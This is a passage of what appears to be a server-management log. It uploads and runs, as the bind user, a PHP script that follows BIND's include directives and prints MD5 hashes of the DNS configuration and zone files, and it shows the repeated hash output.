MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:04:31: Establishing a connection
2026-04-22 18:04:32: 

PUT: /tmp/pkp108396

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:04:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp108396; rm /tmp/pkp108396'

2026-04-22 18:04:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:04:33: Establishing a connection
2026-04-22 18:04:33: 

PUT: /tmp/pkp421643

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:04:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp421643; rm /tmp/pkp421643'

2026-04-22 18:04:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
